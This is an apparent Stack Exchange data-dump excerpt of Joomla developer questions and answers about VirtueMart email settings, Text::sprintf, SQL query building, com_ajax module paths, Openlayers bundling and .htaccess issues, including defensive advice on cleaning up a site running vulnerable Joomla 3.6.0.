  <row Id="28947" PostTypeId="2" ParentId="21536" CreationDate="2021-03-15T18:59:41.293" Score="1" Body="&lt;p&gt;In VirtueMart 3.2.14 or later you can add multiple email addresses to receive the confirmation emails.&lt;/p&gt;&#xA;&lt;p&gt;Go to&#xA;-&amp;gt; VirtueMart Configuration&#xA;-&amp;gt; Second Tab, Orders&#xA;-&amp;gt; Setting: Additional vendor email addresses.&lt;/p&gt;&#xA;&lt;p&gt;You can add multiple email addresses separated by a semi colon.&#xA;Have a look at the tooltip of the setting.&lt;/p&gt;&#xA;" OwnerUserId="8667" LastActivityDate="2021-03-15T18:59:41.293" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28948" PostTypeId="2" ParentId="28603" CreationDate="2021-03-17T07:27:19.017" Score="1" Body="&lt;p&gt;Joomla 3.6.0 is a highly vulnerable version.&#xA;It is very likely that the site is compromised, since hacks appeared in masses a day after the security release. Hackers could find the unsafe code easily by comparing the changes between the versions.&lt;/p&gt;&#xA;&lt;p&gt;A security fix for the vulnerability was introduced with 3.6.4, the vulnerability is present for Joomla versions between 3.4.4 through 3.6.3.&lt;/p&gt;&#xA;&lt;p&gt;Having a site with core alterations, commonly referred to as core hacks, that can not be updated, is against all rules of ecommerce. It should be only done by skilled personnel if there is constant maintenance of the code. In most cases,  this is not given.&lt;/p&gt;&#xA;&lt;p&gt;Joomla and VirtueMart are made in a way that almost all changes can be made in overrides or with plugins. There are no core alterations necessary anymore that would make an update impossible. The rule: Never use core alterations.&lt;/p&gt;&#xA;&lt;p&gt;The advice for this site is to make a copy of the site, run malware scans on the copy.&#xA;Only if sure the site is clean procede to update the site to the latest versions and remove the core alterations and exchange them with plugins.&lt;/p&gt;&#xA;&lt;p&gt;If it is not sure, the installation is free of malware it is best to set up a new Joomla - VirtueMart installation and migrate the old shop with a migration tool. Only pull the necessary data into the new shop to avoid introducing compromised files or database entries. This is the recommended way.&lt;/p&gt;&#xA;" OwnerUserId="8667" LastEditorUserId="12352" LastEditDate="2021-03-17T23:37:53.297" LastActivityDate="2021-03-17T23:37:53.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28950" PostTypeId="1" AcceptedAnswerId="28951" CreationDate="2021-03-17T16:41:50.577" Score="2" ViewCount="659" Body="&lt;p&gt;I know at some point &lt;code&gt;sprintf&lt;/code&gt; was a method of the &lt;code&gt;JText&lt;/code&gt; class, but it doesn't seem to work in Joomla 4.0. I tried the following, not working:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$str = Text::sprintf('JFIELD_COLOR_ADVANCED_INPUT_PLACEHOLDER', 'JFIELD_COLOR_ADVANCED_FORMAT_RGB');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here's what I have and it works&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$placeholder = sprintf(Text::_('JFIELD_COLOR_ADVANCED_INPUT_PLACEHOLDER'), Text::_('JFIELD_COLOR_ADVANCED_FORMAT_RGB'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I need to know if there is a replacement for the deprecated &lt;code&gt;JText::sprintf()&lt;/code&gt; method in Joomla 4.0, or is my method basically the way to do it now?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13509" LastActivityDate="2021-03-18T06:56:14.680" Title="Joomla 4.0 Text sprintf" Tags="|joomla-4.x|jtext|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28951" PostTypeId="2" ParentId="28950" CreationDate="2021-03-18T06:22:14.200" Score="3" Body="&lt;p&gt;If you want to translate the variables, you need to do it before passing them to &lt;code&gt;Text::sprintf()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Text::sprintf('JFIELD_COLOR_ADVANCED_INPUT_PLACEHOLDER', Text::_('JFIELD_COLOR_ADVANCED_FORMAT_RGB'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This hasn't changed since J3 and &lt;code&gt;Joomla\CMS\Language\Text::sprintf()&lt;/code&gt; is not deprecated in J4.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-03-18T06:56:14.680" LastActivityDate="2021-03-18T06:56:14.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28952" PostTypeId="1" CreationDate="2021-03-18T06:33:12.327" Score="1" ViewCount="92" Body="&lt;p&gt;I am trying to write a query using Joomla's query building methods, but I cannot manage to write the subquery into the query.&lt;/p&gt;&#xA;&lt;p&gt;Here is my desired raw sql with php variables:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;SELECT track_type,&#xA;       track_city,&#xA;       SUM(count) as COUNT_CITY,&#xA;       A.track_country,&#xA;       B.COUNT_COUNTRY,&#xA;       MAX(track_date) as ToDate,&#xA;       MIN(track_date) as FromDate,&#xA;       C.name&#xA;FROM azh_banner_tracks AS A&#xA;LEFT JOIN (&#xA;    SELECT SUM(count) as COUNT_COUNTRY,&#xA;           track_country&#xA;    FROM azh_banner_tracks&#xA;    WHERE banner_id = '&amp;quot; . (int) $bannerId . &amp;quot;'&#xA;      and track_type=2&#xA;    GROUP BY track_type,&#xA;             track_country&#xA;) AS B on A.track_country = B.track_country&#xA;INNER JOIN (&#xA;    SELECT name, id&#xA;    from azh_banners&#xA;    where id = '&amp;quot; . (int) $bannerId . &amp;quot;'&#xA;) as C on A.banner_id = C.id&#xA;WHERE banner_id = '&amp;quot; . (int) $bannerId . &amp;quot;'&#xA;GROUP BY track_type,&#xA;         A.track_country,&#xA;         track_city,&#xA;         COUNT_COUNTRY&#xA;ORDER BY COUNT_COUNTRY DESC,&#xA;         COUNT_CITY DESC,&#xA;         track_city&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15001" LastEditorUserId="12352" LastEditDate="2021-03-18T13:33:37.527" LastActivityDate="2022-04-13T16:06:20.753" Title="How to use Joomla's query building methods to generate a query containing joined subqueries?" Tags="|joomla-3.x|mysql|sql|" AnswerCount="1" CommentCount="4" ClosedDate="2022-04-14T11:47:55.463" ContentLicense="CC BY-SA 4.0" />
  <row Id="28953" PostTypeId="1" CreationDate="2021-03-18T07:29:30.587" Score="1" ViewCount="34" Body="&lt;p&gt;I have a need for my Admin users to set the site to Offline mode without going to Joomla back-end. I thought of doing this with a PHP-script, but I cannot figure out how to update values in configuration.php with a php.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="14732" LastActivityDate="2021-03-18T07:29:30.587" Title="Put site to offline mode from front-end" Tags="|global-configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28954" PostTypeId="2" ParentId="28952" CreationDate="2021-03-18T13:11:28.033" Score="0" Body="&lt;p&gt;Simplest effort, but not recommended:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = 'SELECT track_type, track_city, SUM(count) as COUNT_CITY, A.track_country, B.COUNT_COUNTRY, MAX(track_date) as ToDate, MIN(track_date) as FromDate, C.name FROM azh_banner_tracks AS A LEFT JOIN (SELECT SUM(count) as COUNT_COUNTRY, track_country FROM azh_banner_tracks WHERE banner_id = ' . (int) $bannerId . ' and track_type=2 GROUP BY track_type, track_country) AS B on A.track_country = B.track_country INNER JOIN (SELECT name, id from azh_banners where id = ' . (int) $bannerId . ') as C on A.banner_id = C.id WHERE banner_id = ' . (int) $bannerId . ' GROUP BY track_type, A.track_country, track_city, COUNT_COUNTRY ORDER BY COUNT_COUNTRY DESC, COUNT_CITY DESC, track_city';&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;loadAssoc();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I suggest you familiarise yourself with &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;Selecting data using JDatabase&lt;/a&gt;, particularly around to properly escape your SQL query. The above is not portable unless you recreate your database with the exact same table prefix.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastEditorUserId="5627" LastEditDate="2021-03-19T13:04:19.007" LastActivityDate="2021-03-19T13:04:19.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28956" PostTypeId="2" ParentId="28925" CreationDate="2021-03-22T06:19:35.187" Score="1" Body="&lt;p&gt;I finally found the problem. It was related to my PHP installation.&#xA;In order for my site to work correctly, the gd extension had to be loaded in the php.ini file. The file is located in the directory C:\xampp\php.&#xA;Just uncomment the following line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;extension=gd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14759" LastActivityDate="2021-03-22T06:19:35.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28957" PostTypeId="1" AcceptedAnswerId="28965" CreationDate="2021-03-23T05:17:54.490" Score="2" ViewCount="183" Body="&lt;p&gt;I have a module that creates thumbnails from the main image and over time the hosting fills with images, for that reason I want to add a maintenance button that deletes the previous images. It is from the administrator, not from the front-end. I have implemented ajax, but for some reason it doesn't work for me and it sends me the following message in broswer console:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Object { success: false, message: &amp;quot;The file at mod_my_module/helper.php does not exist.&amp;quot;, messages: null, data: null }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I need your help, I leave the code used in module.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\String\StringHelper;&#xA;&#xA;$com_path = JPATH_SITE . '/components/com_content/';&#xA;&#xA;JLoader::register('ContentHelperRoute', $com_path . 'helpers/route.php');&#xA;JModelLegacy::addIncludePath($com_path . 'models', 'ContentModel');&#xA;&#xA;abstract class ModMyModuleHelper&#xA;{&#xA;    public  function deleteImagesAjax() {&#xA;        $minified_path = JPATH_ROOT . '/cache/mod_my_module_images';&#xA;        if(JFolder::exists($minified_path)) {&#xA;            JFolder::delete($minified_path);&#xA;        }&#xA;        die();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;cleanimages.php&lt;/strong&gt;&#xA;This file is a custom field type for create button to delete images from module settings&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.form.formfield');&#xA;&#xA;class JFormFieldCleanimages extends JFormField {&#xA;&#xA;    protected $type = 'Cleanimages';&#xA;&#xA;    protected function getInput() {&#xA;&#xA;        Jhtml::_('jquery.framework');&#xA;        $doc = JFactory::getDocument();&#xA;        $doc-&amp;gt;addScriptDeclaration('jQuery(function($) {&#xA;            $(&amp;quot;#btn-reset-css&amp;quot;).on(&amp;quot;click&amp;quot;, function(event) {&#xA;                event.preventDefault();&#xA;                var $this = $(this);&#xA;                $this.text($this.data(&amp;quot;loading&amp;quot;));&#xA;                $.ajax({&#xA;                    url: &amp;quot;index.php?option=com_ajax&amp;amp;module=my_module&amp;amp;method=deleteImages&amp;amp;format=json&amp;quot;,&#xA;                    type   : &amp;quot;POST&amp;quot;,&#xA;                    success: function (data) {&#xA;                        $this.text($this.data(&amp;quot;text&amp;quot;));&#xA;                        console.log(data);&#xA;                    }&#xA;                });&#xA;                &#xA;            });&#xA;        });');&#xA;&#xA;        return '&amp;lt;button id=&amp;quot;btn-reset-css&amp;quot; class=&amp;quot;btn btn-info&amp;quot; data-text=&amp;quot;'. JText::_('Cleaned Images') .'&amp;quot; data-loading=&amp;quot;'. JText::_('Cleaning Images') .'&amp;quot;&amp;gt;'. JText::_('Clean Images') .'&amp;lt;/button&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;Doing my own research and reviewing the component I have discovered that com_ajax looks for the helper.php file using &lt;code&gt;JPATH_BASE&lt;/code&gt; so when executing the button in the administrator it would be looking for helper.php inside the &lt;code&gt;/administrator/modules/mod_my_module/helper.php&lt;/code&gt; folder , If &lt;code&gt;JPATH_BASE&lt;/code&gt; were changed to &lt;code&gt;JPATH_ROOT&lt;/code&gt;, this would work in both admin and front-end but it is core and we cannot change it.&#xA;Given this, &lt;strong&gt;is there any way to do it without having to create a module for the administrator?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;&#xA;I have solved the problem by calling the full url from the front-end, the code below in the answers.&lt;/p&gt;&#xA;" OwnerUserId="7417" LastEditorUserId="7417" LastEditDate="2021-03-28T20:33:29.247" LastActivityDate="2021-03-28T20:34:52.347" Title="Joomla Ajax in Module from Administrator not work" Tags="|module|ajax|com-ajax|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28959" PostTypeId="2" ParentId="21624" CreationDate="2021-03-24T08:07:12.407" Score="0" Body="&lt;p&gt;Just for the record: I was facing the same problem, but in the end it seemed to be much easier to simple create a multiple select form field and use Tokenize2 to create the tag input.&lt;/p&gt;&#xA;" OwnerUserId="15013" LastActivityDate="2021-03-24T08:07:12.407" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28961" PostTypeId="2" ParentId="28957" CreationDate="2021-03-24T19:31:02.347" Score="0" Body="&lt;p&gt;Am I understanding correctly that your module is on the front end, but you want to call a helper function from the back end?&lt;/p&gt;&#xA;&lt;p&gt;If yes, I wonder if JPATH_ADMINISTRATOR might do the trick for you?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Constants&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Constants&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12697" LastActivityDate="2021-03-24T19:31:02.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28963" PostTypeId="1" AcceptedAnswerId="29002" CreationDate="2021-03-25T20:41:58.160" Score="1" ViewCount="252" Body="&lt;p&gt;I am developing a Joomla 3.x content plugin to display Openlayer maps in articles based on &lt;a href=&quot;https://joomla.stackexchange.com/users/11650/robbie-jackson&quot;&gt;@Robbie Jackson&lt;/a&gt;s excellent tutorial at &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_Map&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_a_Map&lt;/a&gt; and I managed to make it work. However, in Robbie's tutorial he includes the full Openlayers library which is discouraged for production sites:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    // everything's dependent upon JQuery&#xA;    JHtml::_('jquery.framework');&#xA;&#xA;    // we need the Openlayers JS and CSS libraries&#xA;    $document-&amp;gt;addScript(&amp;quot;https://cdnjs.cloudflare.com/ajax/libs/openlayers/4.6.4/ol.js&amp;quot;);&#xA;    $document-&amp;gt;addStyleSheet(&amp;quot;https://cdnjs.cloudflare.com/ajax/libs/openlayers/4.6.4/ol.css&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At the Openlayers website you are encouraged to &amp;quot;include&amp;quot; only the libraries required by your application and &amp;quot;compile&amp;quot; (the correct term is &amp;quot;transpile&amp;quot;) a production version (&amp;quot;bundle&amp;quot;). Everything is built on node.js, see eg. &lt;a href=&quot;https://openlayers.org/en/latest/doc/tutorials/bundle.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://openlayers.org/en/latest/doc/tutorials/bundle.html&lt;/a&gt;. In the production bundle you will find an index.html file referencing the transpiled Javascript code in another file, typically main.js The compiled/minified/obfuscated/uglified Javascript code is higly unreadable but there is a .js.map file to help you map that code into something readable. But even if you know that your function is in there, you cannot call it. Everything is named something else.&lt;/p&gt;&#xA;&lt;p&gt;I ran into a number of problems when trying to put the transpiled bundle into my Joomla extension:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the examples at &lt;a href=&quot;https://openlayers.org/en/latest/examples/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://openlayers.org/en/latest/examples/&lt;/a&gt;, the Javascript code is invoked by a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag just before the final &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag in an HTML file. But what you do in Joomla 3x is, that you put the Javascript declaration in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section by manipulating the DOM-tree (see &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&lt;/a&gt;). But it does not get triggered and it is very hard in Joomla plugins to put something just prior to the ending &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; tag. But you do not want it to run until the DOM-tree is ready, otherwise it will fail.&lt;/li&gt;&#xA;&lt;li&gt;I need to transfer options from my server-side PHP code to my client-side Openlayer Javascript.  The Joomla 3x recommended method is described in &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&lt;/a&gt;:  At serverside you use &lt;code&gt;$document-&amp;gt;addScriptOptions()&lt;/code&gt; and then you retrive the options client side using e.g. var &lt;code&gt;myOptions = Joomla.getOptions('mod_example');&lt;/code&gt; But you cannot compile and test Javascript code containing Joomla specific code. Node.js does not know what &lt;code&gt;Joomla.getOptions()&lt;/code&gt; means.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Please advise.&lt;/p&gt;&#xA;" OwnerUserId="14657" LastEditorUserId="14657" LastEditDate="2021-04-05T21:33:06.620" LastActivityDate="2021-04-08T09:53:48.630" Title="How to use Openlayers transpiled Javascript code in my own extension (a &quot;bundle&quot;)" Tags="|development|javascript|content-plugin|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28964" PostTypeId="1" CreationDate="2021-03-26T13:59:54.347" Score="1" ViewCount="47" Body="&lt;p&gt;When editing an article in Joomla frontend all the custom fields are rendered with the following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('joomla.edit.params', $this); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Isn't it possible to render the custom fields individually and not all at once. Then it would be possible the control the layout a bit more. I know, that I can group the fields, but I would like the render them one by one.&lt;/p&gt;&#xA;" OwnerUserId="15027" LastActivityDate="2021-03-26T13:59:54.347" Title="Rendering custom field manually when edit article in front end" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28965" PostTypeId="2" ParentId="28957" CreationDate="2021-03-26T14:28:54.137" Score="2" Body="&lt;p&gt;Your AJAX URL is relative and ends up pointing to &lt;code&gt;administrator/index.php&lt;/code&gt;. You can change that by prepending root path. First, load the required dependencies:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.core');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then change the URL:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;url: Joomla.getOptions(&amp;quot;system.paths&amp;quot;).root + &amp;quot;/index.php?option=com_ajax&amp;amp;module=my_module&amp;amp;method=deleteImages&amp;amp;format=json&amp;quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-03-26T16:56:35.840" LastActivityDate="2021-03-26T16:56:35.840" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28967" PostTypeId="1" CreationDate="2021-03-27T06:56:44.103" Score="0" ViewCount="45" Body="&lt;p&gt;I have a problem with saving the T3 Framework megamenu&lt;/p&gt;&#xA;&lt;p&gt;In practice, after setting the megamenu and clicking on save, it does not save.&lt;/p&gt;&#xA;&lt;p&gt;Inspecting I found some JS errors that I can't solve, the errors are:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;megamenu.js: 463 Uncaught TypeError: Cannot set property 'undefined' of undefined&#xA;     at Object.actions.saveConfig (megamenu.js: 463)&#xA;     at HTMLButtonElement. &amp;lt;anonymous&amp;gt; (megamenu.js: 71)&#xA;     at HTMLButtonElement.dispatch (jquery-1.8.3.min.js: 2)&#xA;     at HTMLButtonElement.u (jquery-1.8.3.min.js: 2)&#xA;     at Object.trigger (jquery-1.8.3.min.js: 2)&#xA;     at HTMLButtonElement. &amp;lt;anonymous&amp;gt; (jquery-1.8.3.min.js: 2)&#xA;     at Function.each (jquery-1.8.3.min.js: 2)&#xA;     at init.each (jquery-1.8.3.min.js: 2)&#xA;     at init.trigger (jquery-1.8.3.min.js: 2)&#xA;     at HTMLButtonElement. &amp;lt;anonymous&amp;gt; (megamenu.js: 983)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I need help to solve it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: the two line js of megamenu&lt;/p&gt;&#xA;&lt;p&gt;Line 463 (from 456 to 477)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var menutype = $('#jform_params_mm_type').val(),&#xA;    curconfig = T3AdminMegamenu.config;&#xA;&#xA;if($.isArray(curconfig) &amp;amp;&amp;amp; curconfig.length == 0){&#xA;    curconfig = {};&#xA;}&#xA;&#xA;**curconfig[menutype] = config;**&#xA;&#xA;$.ajax({&#xA;    url: T3AdminMegamenu.referer,&#xA;    type: 'post',&#xA;    data: {&#xA;        t3action: 'megamenu',&#xA;        t3task: 'save',&#xA;        styleid: T3AdminMegamenu.styleid,&#xA;        template: T3AdminMegamenu.template,&#xA;&#xA;        mmkey: $('#megamenu-key').val(),&#xA;        config: JSON.stringify(config),&#xA;        rand: Math.random()&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Line 71 (from 65 to 75)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// bind event for action&#xA;        $('.toolbox-action').click (function(event) {&#xA;            var action = $(this).data ('action');&#xA;&#xA;            if (action) {&#xA;                actions.datas = $(this).data();&#xA;                **actions[action] ();**&#xA;            }&#xA;            event.stopPropagation();&#xA;            return false;&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7532" LastEditorUserId="7532" LastEditDate="2021-03-27T21:59:01.063" LastActivityDate="2021-03-27T21:59:01.063" Title="T3 Framework Megamenu not save configuration" Tags="|joomla-3.x|t3-framework|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28968" PostTypeId="1" AcceptedAnswerId="29031" CreationDate="2021-03-27T23:24:38.337" Score="2" ViewCount="1230" Body="&lt;p&gt;I got a issue after renaming htaccess.txt to .htaccess in the public_html folder of my Joomla 4 website (&lt;a href=&quot;https://www.freepetsitters.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.freepetsitters.com&lt;/a&gt;). I renamed it in order to get rid of &amp;quot;index.php&amp;quot; in the URLs.&lt;/p&gt;&#xA;&lt;h3&gt;Steps to reproduce the issue&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download Helix Ultimate 2 Beta 1 Quickstart Package (&lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/tag/v2.0.0-beta.1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/JoomShaper/helix-ultimate/releases/tag/v2.0.0-beta.1&lt;/a&gt;), upload it to the public_html folder of your website, unzip it and then follow the standard Joomla installation procedure.&lt;/li&gt;&#xA;&lt;li&gt;Upgrade your website to Joomla 4 Beta 7.&lt;/li&gt;&#xA;&lt;li&gt;Set &amp;quot;Use URL Rewriting&amp;quot; to &amp;quot;Yes&amp;quot; (In the Global Configuration tab of the Joomla administrator panel).&lt;/li&gt;&#xA;&lt;li&gt;Rename htaccess.txt to .htaccess in the public_html folder of your website.&lt;/li&gt;&#xA;&lt;li&gt;Delete the cookies and website data, then refresh the Joomla administrator panel's tab.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3&gt;Expected result&lt;/h3&gt;&#xA;&lt;p&gt;The website's backend looking like it was (before renaming htaccess.txt to .htaccess) and working fine.&lt;/p&gt;&#xA;&lt;h3&gt;Actual result&lt;/h3&gt;&#xA;&lt;p&gt;The administrator panel looking weird and not working (There is no interactivity when clicking on any button).&lt;/p&gt;&#xA;&lt;h3&gt;System information&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;LiteSpeed-based server&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;PHP: 7.3 lsphp&lt;/p&gt;&#xA;&lt;p&gt;Joomla: 4 Beta 7&lt;/p&gt;&#xA;&lt;p&gt;Helix Ultimate: 2 Beta 1&lt;/p&gt;&#xA;&lt;h3&gt;Additional comments&lt;/h3&gt;&#xA;&lt;p&gt;Here is what I got in the logs file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;WARNING ...    assets  No asset found for com_modules.module.92, falling back to com_modules&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also don't think that the problem is related to the website's template (Helix Ultimate 2 Beta 1) since the issue only occurs for the backend and not the frontend.&lt;/p&gt;&#xA;" OwnerUserId="14842" LastActivityDate="2021-04-17T16:36:12.787" Title="Joomla 4 website's backend not working after renaming htaccess.txt to .htaccess" Tags="|administrator|.htaccess-configuration|module-display|joomla-4.x|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28969" PostTypeId="2" ParentId="28957" CreationDate="2021-03-28T20:27:44.713" Score="1" Body="&lt;p&gt;Thanks to those who cooperated on this issue.&lt;/p&gt;&#xA;&lt;p&gt;I had solved this by calling the public url (full url) of the module from the administrator, without letting &lt;code&gt;JPATH_BASE&lt;/code&gt; fill in the location. For which modify the url to call by:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;url: &amp;quot;'.Uri::root().'index.php?option=com_ajax&amp;amp;module=my_module&amp;amp;method=deleteImages&amp;amp;format=json&amp;quot;,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You must add this  above &lt;code&gt;use Joomla\CMS\Uri\Uri;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Maybe it will be helpful to someone else&lt;/p&gt;&#xA;" OwnerUserId="7417" LastEditorUserId="7417" LastEditDate="2021-03-28T20:34:52.347" LastActivityDate="2021-03-28T20:34:52.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28970" PostTypeId="1" AcceptedAnswerId="28980" CreationDate="2021-03-28T20:52:22.320" Score="1" ViewCount="584" Body="&lt;p&gt;I just tried to login and I got this error message that I've never seen before.&lt;/p&gt;&#xA;&lt;p&gt;0 Call to a member function purgePrivate() on null&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure what would have caused it.&lt;/p&gt;&#xA;&lt;p&gt;It's PHP 7.3.&lt;/p&gt;&#xA;&lt;p&gt;Interestingly I was on PHP7.4 but the redirect system didn't work so only my homepage showed.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="12334" LastEditDate="2021-04-06T20:14:56.063" LastActivityDate="2023-01-06T09:55:03.590" Title="0 Call to a member function purgePrivate() on null" Tags="|joomla-3.x|fix-my-code|fatal-error|php7|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28971" PostTypeId="1" AcceptedAnswerId="29003" CreationDate="2021-03-29T14:03:01.657" Score="1" ViewCount="167" Body="&lt;p&gt;I'm trying to display an editor using a module in the front end.&#xA;I want visitors to be able to edit and create articles but from a module not a component.&lt;/p&gt;&#xA;&lt;p&gt;I've tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jimport( 'joomla.html.editor' );&#xA;$editor =&amp;amp; JEditor::getInstance();&#xA;echo $editor-&amp;gt;display(&amp;quot;desc&amp;quot;, &amp;quot;my text&amp;quot;, &amp;quot;600&amp;quot;, &amp;quot;400&amp;quot;, &amp;quot;80&amp;quot;, &amp;quot;15&amp;quot;,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which I think should work but doesn't  (I've tried with all the versions of editors installed).&#xA;Any help would be great.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12334" LastEditDate="2021-04-06T22:46:07.477" LastActivityDate="2021-04-06T22:46:07.477" Title="Display an editor in the front end using a module" Tags="|module|front-end|editor|editing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
